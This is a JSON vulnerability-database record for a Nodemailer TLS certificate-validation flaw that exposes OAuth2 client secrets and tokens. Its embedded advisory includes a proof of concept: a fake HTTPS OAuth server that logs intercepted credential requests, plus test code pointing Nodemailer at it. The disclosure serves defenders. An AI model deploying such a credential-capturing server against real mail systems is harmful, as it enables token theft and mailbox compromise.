{"id":"CVE-2026-82662","aliases":["CLSA-2026-1789037282","CLSA-2026-1789050616","CLSA-2026-1789052249","CLSA-2026-1794464246","DEBIAN-CVE-2026-82662","EUVD-2026-68440","GHSA-frj6-5rhh-vwfw","GHSA-r7g4-qg5f-qqm2","ROOT-APP-NPM-CVE-2026-82662","ROOT-APP-NPM-GHSA-frj6-5rhh-vwfw","ROOT-APP-NPM-GHSA-r7g4-qg5f-qqm2","UBUNTU-CVE-2026-82662"],"status":"published","title":"Nodemailer before 8.0.8 TLS Certificate Validation Bypass","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00192,"percentile":0.08969,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-295"],"published":"2026-06-15T17:34:48Z","modified":"2026-11-12T13:45:07Z","fixes":[{"ecosystem":"npm","package":"nodemailer","fixed_in":["8.0.8"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"node-nodemailer","fixed_in":["8.0.11+~8.0.1-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"nodemailer","fixed_in":["7.0.11-aikido.8","7.0.11-aikido.9","7.0.13-aikido.7","6.10.1-aikido.14","6.10.1-aikido.10","6.10.1-aikido.11","7.0.11-aikido.6","7.0.11-aikido.7","6.10.1-aikido.12","7.0.11-aikido.5","6.10.1-aikido.9","6.10.1-aikido.8","7.0.9-aikido.5","6.10.1-aikido.5","7.0.11-aikido.3","7.0.9-aikido.6","6.10.1-aikido.6","7.0.11-aikido.4","7.0.9-aikido.7","7.0.9-aikido.8","6.10.1-aikido.13"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/nodemailer","fixed_in":["7.0.11-root.io.8","7.0.11-root.io.9","7.0.13-root.io.7","6.10.1-root.io.14","6.10.1-root.io.10","6.10.1-root.io.11","7.0.11-root.io.6","7.0.11-root.io.7","6.10.1-root.io.12","7.0.11-root.io.5","6.10.1-root.io.9","6.10.1-root.io.8","7.0.9-root.io.5","6.10.1-root.io.5","7.0.11-root.io.3","7.0.9-root.io.6","6.10.1-root.io.6","7.0.11-root.io.4","7.0.9-root.io.7","7.0.9-root.io.8","6.10.1-root.io.13"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"8.0.7"},{"fixed":"8.0.8"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.7.1-tuxcare.0"},{"fixed":"0.7.1-tuxcare.3"}]}],"versions":["0.7.1","0.7.1-tuxcare.1","0.7.1-tuxcare.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.7.2-tuxcare.0"},{"fixed":"2.7.2-tuxcare.5"}]}],"versions":["2.7.2","2.7.2-tuxcare.1","2.7.2-tuxcare.2","2.7.2-tuxcare.3","2.7.2-tuxcare.4"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"6.10.1-tuxcare.0"},{"fixed":"6.10.1-tuxcare.9"}]}],"versions":["6.10.1","6.10.1-tuxcare.1","6.10.1-tuxcare.2","6.10.1-tuxcare.3","6.10.1-tuxcare.4","6.10.1-tuxcare.5","6.10.1-tuxcare.6","6.10.1-tuxcare.7","6.10.1-tuxcare.8"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"7.0.13-tuxcare.0"},{"fixed":"7.0.13-tuxcare.2"}]}],"versions":["7.0.13","7.0.13-tuxcare.1"],"bundled":8},{"source":"osv","ecosystem":"Debian:12","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","10.0.10+~8.0.2-1","6.10.0+~6.4.17-1","6.8.0+~6.4.6-1","6.9.13+~6.4.14-1","6.9.15+~6.4.16-1","6.9.16+~6.4.16-1","6.9.4+~6.4.9-1","6.9.4+~6.4.9-2","6.9.4+~6.4.9-3","6.9.4+~6.4.9-4","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["10.0.0+~8.0.1-1","10.0.10+~8.0.1-1","10.0.10+~8.0.2-1","6.10.0+~6.4.17-1","6.10.0+~6.4.17-1+deb13u1","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.11+~8.0.1-1","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2","9.0.0+~8.0.1-1","9.0.3+~8.0.1-1","9.0.5+~8.0.1-1","9.0.6+~8.0.1-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.11+~8.0.1-1"}]}],"versions":["6.10.0+~6.4.17-1","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","7.0.5+~7.0.1-1","7.0.6+~7.0.1-1","7.0.9+~7.0.2-1","7.0.9+~7.0.2-2","8.0.2+~7.0.11-1","8.0.3+~7.0.11-1","8.0.4+~7.0.11-1","8.0.4+~7.0.11-2"]},{"source":"osv","ecosystem":"npm","package":"nodemailer","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.0.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-aikido.8"},{"fixed":"7.0.11-aikido.9"},{"fixed":"7.0.13-aikido.7"},{"fixed":"6.10.1-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-root.io.8"},{"fixed":"7.0.11-root.io.9"},{"fixed":"7.0.13-root.io.7"},{"fixed":"6.10.1-root.io.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-aikido.9"},{"fixed":"7.0.13-aikido.7"},{"fixed":"6.10.1-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"7.0.11-root.io.9"},{"fixed":"7.0.13-root.io.7"},{"fixed":"6.10.1-root.io.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-aikido.10"},{"fixed":"6.10.1-aikido.11"},{"fixed":"7.0.11-aikido.6"},{"fixed":"7.0.11-aikido.7"},{"fixed":"6.10.1-aikido.12"},{"fixed":"7.0.11-aikido.5"},{"fixed":"6.10.1-aikido.9"},{"fixed":"6.10.1-aikido.8"},{"fixed":"7.0.9-aikido.5"},{"fixed":"6.10.1-aikido.5"},{"fixed":"7.0.11-aikido.3"},{"fixed":"7.0.9-aikido.6"},{"fixed":"6.10.1-aikido.6"},{"fixed":"7.0.11-aikido.4"},{"fixed":"7.0.9-aikido.7"},{"fixed":"7.0.9-aikido.8"},{"fixed":"6.10.1-aikido.13"},{"fixed":"7.0.11-aikido.8"},{"fixed":"7.0.11-aikido.9"},{"fixed":"6.10.1-aikido.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.10.1-root.io.10"},{"fixed":"6.10.1-root.io.11"},{"fixed":"7.0.11-root.io.6"},{"fixed":"7.0.11-root.io.7"},{"fixed":"6.10.1-root.io.12"},{"fixed":"7.0.11-root.io.5"},{"fixed":"6.10.1-root.io.9"},{"fixed":"6.10.1-root.io.8"},{"fixed":"7.0.9-root.io.5"},{"fixed":"6.10.1-root.io.5"},{"fixed":"7.0.11-root.io.3"},{"fixed":"7.0.9-root.io.6"},{"fixed":"6.10.1-root.io.6"},{"fixed":"7.0.11-root.io.4"},{"fixed":"7.0.9-root.io.7"},{"fixed":"7.0.9-root.io.8"},{"fixed":"6.10.1-root.io.13"},{"fixed":"7.0.11-root.io.8"},{"fixed":"7.0.11-root.io.9"},{"fixed":"6.10.1-root.io.14"}]}]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.3.0-2","6.3.1-1","6.4.0-1","6.4.1-1","6.4.2-1","6.4.5-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.4.17-3","6.7.0-1","6.7.0-2","6.7.1+~6.4.4-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.9.4+~6.4.9-2","6.9.4+~6.4.9-3ubuntu1","6.9.4+~6.4.9-4"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-nodemailer","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["7.0.5+~7.0.1-1","7.0.9+~7.0.2-2","7.0.10+~7.0.2-1","7.0.12+~7.0.5-1","8.0.4+~7.0.11-1"]}],"products":[{"vendor":"nodemailer","product":"nodemailer"}],"references":[{"url":"https://github.com/nodemailer/nodemailer/security/advisories/GHSA-r7g4-qg5f-qqm2","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://www.vulncheck.com/advisories/nodemailer-before-8.0.8-tls-certificate-validation-bypass","tags":["third-party-advisory","advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-82662","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-frj6-5rhh-vwfw"},{"url":"https://github.com/advisories/GHSA-r7g4-qg5f-qqm2"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/82xxx/CVE-2026-82662.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-82662","tags":["advisory"]},{"url":"https://github.com/nodemailer/nodemailer","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-82662","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-82662","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-82662","title":"Nodemailer before 8.0.8 TLS Certificate Validation Bypass","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T08:46:26.978Z","modified":"2026-09-01T15:00:58.358Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T13:40:46.161838Z"}],"euvd":[{"id":"EUVD-2026-68440","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T08:46:26Z","modified":"2026-09-01T15:00:58Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:17.79788Z"}],"ghsa":[{"id":"GHSA-frj6-5rhh-vwfw","title":"Duplicate Advisory: Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7g4-qg5f-qqm2. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"withdrawn","published":"2026-08-31T09:30:29Z","modified":"2026-10-05T22:51:42Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T14:41:25.889593Z"},{"id":"GHSA-r7g4-qg5f-qqm2","title":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n        ↓\nXOAuth2 token generation\n        ↓\nInternal HTTPS fetch client\n        ↓\nHTTPS request with rejectUnauthorized:false\n        ↓\nAttacker-controlled/self-signed endpoint trusted\n        ↓\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    secure: false,\n    auth: {\n        user: process.env.SMTP_USER,\n        pass: process.env.SMTP_PASS\n    }\n});\n\napp.post(\"/send\", async (req, res) =\u003e {\n    try {\n        const { to, subject, text, html } = req.body;\n\n        const info = await transporter.sendMail({\n            from: `\"Mailer\" \u003c${process.env.SMTP_USER}\u003e`,\n            to,\n            subject,\n            text,\n            html\n        });\n\n        res.json({\n            success: true,\n            messageId: info.messageId\n        });\n\n    } catch (err) {\n        console.error(err);\n        res.status(500).json({\n            success: false,\n            error: err.message\n        });\n    }\n});\n\napp.listen(process.env.PORT, () =\u003e {\n    console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require('https');\nconst fs = require('fs');\n\nhttps.createServer({\n    key: fs.readFileSync('./key.pem'),\n    cert: fs.readFileSync('./cert.pem')\n}, (req, res) =\u003e {\n\n    console.log('\\n==== REQUEST INTERCEPTED ====');\n    console.log(req.method, req.url);\n\n    let body = '';\n\n    req.on('data', chunk =\u003e {\n        body += chunk;\n    });\n\n    req.on('end', () =\u003e {\n\n        console.log('\\nPOST BODY:');\n        console.log(body);\n\n        res.writeHead(200, {\n            'Content-Type': 'application/json'\n        });\n\n        res.end(JSON.stringify({\n            access_token: 'attacker_token',\n            expires_in: 3600\n        }));\n    });\n\n}).listen(8443, () =\u003e {\n    console.log('Malicious HTTPS OAuth server listening on 8443');\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require('./');\n\nconst transporter = nodemailer.createTransport({\n    service: 'gmail',\n\n    auth: {\n        type: 'OAuth2',\n\n        user: 'redacted@example.com',\n\n        clientId: 'CLIENT_ID_REDACTED',\n        clientSecret: 'CLIENT_SECRET_REDACTED',\n\n        refreshToken: 'REFRESH_TOKEN_REDACTED',\n\n        accessUrl: 'https://localhost:8443/token'\n    }\n});\n\ntransporter.sendMail({\n    from: 'redacted@example.com',\n    to: 'redacted@example.com',\n    subject: 'PoC',\n    text: 'test'\n\n}, (err, info) =\u003e {\n\n    console.log('\\n==== NODEMAILER RESULT ====');\n\n    if (err) {\n        console.error(err);\n    } else {\n        console.log(info);\n    }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\u003cimg width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" /\u003e\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.","status":"published","published":"2026-06-15T17:34:48Z","modified":"2026-10-05T22:51:58Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T14:41:25.889593Z"}],"nvd":[{"id":"CVE-2026-82662","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T09:17:04.093Z","modified":"2026-09-10T15:48:28.757Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T14:12:42.691315Z"}],"osv":[{"id":"CVE-2026-82662","title":"Nodemailer before 8.0.8 TLS Certificate Validation Bypass","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T08:46:26.978Z","modified":"2026-10-28T02:30:53.13560504Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T15:45:18.482949Z"},{"id":"DEBIAN-CVE-2026-82662","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T09:17:04.093Z","modified":"2026-10-01T03:03:43.238261674Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-11-02T15:46:04.577397Z"},{"id":"GHSA-frj6-5rhh-vwfw","title":"Duplicate Advisory: Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7g4-qg5f-qqm2. This link is maintained to preserve external references.\n\n## Original Description\nNodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"withdrawn","published":"2026-08-31T09:30:29Z","modified":"2026-10-05T23:00:04.253174474Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium"},{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T15:46:46.760785Z"},{"id":"GHSA-r7g4-qg5f-qqm2","title":"Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception","description":"### Summary\nNodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.\n\nAs a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.\n\nAn attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:\n\n- OAuth client_secret\n- refresh_token\n- access tokens\n\nThe issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.\n\n### Details\nRoot Cause\n\nThe issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.\n\nInside:\n\n`lib/fetch/index.js`\n\nthe request options contain:\n\n`rejectUnauthorized: false`\n\nThis disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.\n\nAs a result:\n\n- self-signed certificates are trusted\n- invalid CA chains are accepted\n- hostname validation is bypassed\n- attacker-controlled HTTPS endpoints are treated as trusted\n\nThis violates expected HTTPS security guarantees.\n\n**Vulnerable Flow**\n\nThe vulnerable execution chain is:\n\nOAuth2 Transport\n        ↓\nXOAuth2 token generation\n        ↓\nInternal HTTPS fetch client\n        ↓\nHTTPS request with rejectUnauthorized:false\n        ↓\nAttacker-controlled/self-signed endpoint trusted\n        ↓\nOAuth credentials **transmitted**\n\n\n### PoC\n**Environment**\n#### Mail API (app/server.js)\n```\nconst express = require(\"express\");\nconst nodemailer = require(\"nodemailer\");\nrequire(\"dotenv\").config();\n\nconst app = express();\n\napp.use(express.json());\n\nconst transporter = nodemailer.createTransport({\n    host: process.env.SMTP_HOST,\n    port: process.env.SMTP_PORT,\n    secure: false,\n    auth: {\n        user: process.env.SMTP_USER,\n        pass: process.env.SMTP_PASS\n    }\n});\n\napp.post(\"/send\", async (req, res) =\u003e {\n    try {\n        const { to, subject, text, html } = req.body;\n\n        const info = await transporter.sendMail({\n            from: `\"Mailer\" \u003c${process.env.SMTP_USER}\u003e`,\n            to,\n            subject,\n            text,\n            html\n        });\n\n        res.json({\n            success: true,\n            messageId: info.messageId\n        });\n\n    } catch (err) {\n        console.error(err);\n        res.status(500).json({\n            success: false,\n            error: err.message\n        });\n    }\n});\n\napp.listen(process.env.PORT, () =\u003e {\n    console.log(`Mailer running on port ${process.env.PORT}`);\n});\n```\n\n#### Malicious HTTPS OAuth Server (poc/evil-oauth.js)\n\n```\nconst https = require('https');\nconst fs = require('fs');\n\nhttps.createServer({\n    key: fs.readFileSync('./key.pem'),\n    cert: fs.readFileSync('./cert.pem')\n}, (req, res) =\u003e {\n\n    console.log('\\n==== REQUEST INTERCEPTED ====');\n    console.log(req.method, req.url);\n\n    let body = '';\n\n    req.on('data', chunk =\u003e {\n        body += chunk;\n    });\n\n    req.on('end', () =\u003e {\n\n        console.log('\\nPOST BODY:');\n        console.log(body);\n\n        res.writeHead(200, {\n            'Content-Type': 'application/json'\n        });\n\n        res.end(JSON.stringify({\n            access_token: 'attacker_token',\n            expires_in: 3600\n        }));\n    });\n\n}).listen(8443, () =\u003e {\n    console.log('Malicious HTTPS OAuth server listening on 8443');\n});\n```\n\n#### Nodemailer OAuth2 Test (test.js)\n\n```\nconst nodemailer = require('./');\n\nconst transporter = nodemailer.createTransport({\n    service: 'gmail',\n\n    auth: {\n        type: 'OAuth2',\n\n        user: 'redacted@example.com',\n\n        clientId: 'CLIENT_ID_REDACTED',\n        clientSecret: 'CLIENT_SECRET_REDACTED',\n\n        refreshToken: 'REFRESH_TOKEN_REDACTED',\n\n        accessUrl: 'https://localhost:8443/token'\n    }\n});\n\ntransporter.sendMail({\n    from: 'redacted@example.com',\n    to: 'redacted@example.com',\n    subject: 'PoC',\n    text: 'test'\n\n}, (err, info) =\u003e {\n\n    console.log('\\n==== NODEMAILER RESULT ====');\n\n    if (err) {\n        console.error(err);\n    } else {\n        console.log(info);\n    }\n});\n```\n**Steps to Reproduce**\n\n- Start malicious HTTPS OAuth server:\n- node poc/evil-oauth.js\n- Run Nodemailer OAuth2 test:\n- node test.js\n- Observe intercepted OAuth2 request body on the malicious HTTPS server.\n\n**PIC**\n\u003cimg width=\"1919\" height=\"1029\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516\" /\u003e\n\n### Impact\n\n- OAuth credential theft\n- unauthorized email access\n- persistent token abuse\n- unauthorized mail sending\n- mailbox compromise\n- interception/tampering of OAuth responses\n\nThe issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.","status":"published","published":"2026-06-15T17:34:48Z","modified":"2026-10-05T23:00:05.741897723Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium"},{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-295"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"UBUNTU-CVE-2026-82662","description":"Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.","status":"published","published":"2026-08-31T09:17:00Z","modified":"2026-09-02T16:28:28Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"medium"},{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:57:22.213888Z"},{"id":"CLSA-2026-1789037282","title":"TuxCare security update for nodemailer (3 CVEs)","description":"TuxCare rebuilt nodemailer to address 3 CVEs. Fixed in 